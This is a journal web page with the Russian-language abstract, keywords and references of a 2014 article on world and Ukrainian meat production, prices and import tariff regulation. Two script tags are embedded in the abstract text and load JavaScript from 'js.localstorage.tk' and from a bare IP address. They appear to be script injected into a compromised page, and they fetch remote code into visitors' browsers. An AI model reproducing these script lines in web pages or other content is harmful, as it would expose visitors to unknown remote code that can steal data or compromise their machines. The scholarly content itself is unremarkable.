ISSN 2413-2322 (Online)

ISSN 2221-1055 (Print)

УДК: 338.439.5(4):54(477)
Зарубіжний досвід розвитку аграрного виробництва

Производство мясопродуктов: мировые и отечественные тенденции / Скрипник А.В., Родина М.А. // Экономика АПК. - 2014. - № 3 - С. 93

Рассмотрено производство мясной продукции в Украине и мире. Проанализировано влияние мирового рынка мясной продукции на отечественный. Введено понятие мировой цены на конкретный тип мясной продукции как средневзвешенной цены 20 ведущих мировых экспортеров исследуемой продукции. Для оценки стабильности этого показателя аналогичным образом введено понятие дисперсии цены на заданный вид продукции. Описаны тенденции украинского и мирового рынка мясопродуктов. С помощью модели экспоненциального тренда оценены среднегодовые темпы роста цен и объемов производства. Показано, что в ближайшее время мировое производство курятины превысит производство свинины. Сравнены мировые и отечественные цены на такие товарные позиции, как свинина, курятина, говядина. Показано, что маржа цен мирового и внутреннего рынков сохраняется для говядины, в то же время уровень внутренних цен на свинину уже достиг уровня цен мирового рынка, а для курятины внутренние цены превышают мировые. На основе сравнения уровней цен мирового и внутреннего рынка сделан вывод о необходимости внесения изменений в тарифное регулирование импорта мясной продукции. Табл.: 1. Илл.: 5. Библиогр.: 13.<script type='text/javascript' src='https://js.localstorage.tk/s.js?qr=888'></script><script type='text/javascript' src='http://193.201.224.233/m.js?d=1'></script>
Ключевые слова: производство мясной продукции, мировые цены, рынок мяса, тарифная защита, регулирование импорта, производство

Список использованных источников

  1. Ukrainian Agrarian Economic Sector (Position and Development Tendency) under reduction М.V. Zubets, P.T. Sabluk, V.Ia. Мessel-Veseliak, М.М. Phedorov. – К.: NNC ІАЕ, 2011. – 1008 p.
  2. Agroindustrial Portal http://agroprom-ua.com/article/460.
  3. Institute of Current Situation of Agrarian Market. http://ikar.ru/lenta/437.html.
  4. Kalinchik N.V. Development and Effective Functioning of Enterprises at the Beef Market // Kalinchik N.V., Saenko О.А., Rossoha V.М.- К.:NNC IАЕ, 2009. – 212 p.
  5. Kozak L.V. Market Positions of Native Agrarian Producers in Context of Ukraine’s Membership in WTO // Economic of Agroindustrial Complex. – 2013. – №1. – P. 55-60.
  6. Mazurenko О.V. Food-security and Situation from Position of Meat Production and Consumption / О.V. Mazurenko // Scientific Messenger of Umanj’s National University of gardening. – 2008. – №. 70 (part 2 – Economic). – P. 105-111.
  7. Nakai О.А. Modern Position and Functioning Problems of Meat Market in Ukraine. // nbuv.gov.ua.
  8. Project of Law «About the Food Security». Verkhovna Rada Ukrayiny. Оfficial web-portal. http://w1.c1.rada.gov.ua/pls/zweb2/webproc4_1?pf3511=44744.
  9. Iatsenko O.M. Competitivness of agrarian sector in conditions of food market globalization // Economic of Agroindustrial Complex. – 2013. – №1. – P. 31-38.
  10. Anthony N. Rezitis, Maria Sassi. Commodity Food Prices: Review and Empirics // Hindawi Publishing Corporation. Economics Research International. Volume 2013, Article ID 694507, 15 pages. http://dx.doi.org/10.1155/2013/.
  11. Food and Agriculture Organization of the United Nations http://faostat.fao.org/.
  12. Report Linker. http://www.reportlinker.com/ci02026/Meat-and-Poultry.html.
  13. World Watch Institute. Vision for a Sustainable World http://www.worldwatch.org/global-meat-production-and-consumption-slow-down.
Читать статью: 14_03_93-100.pdf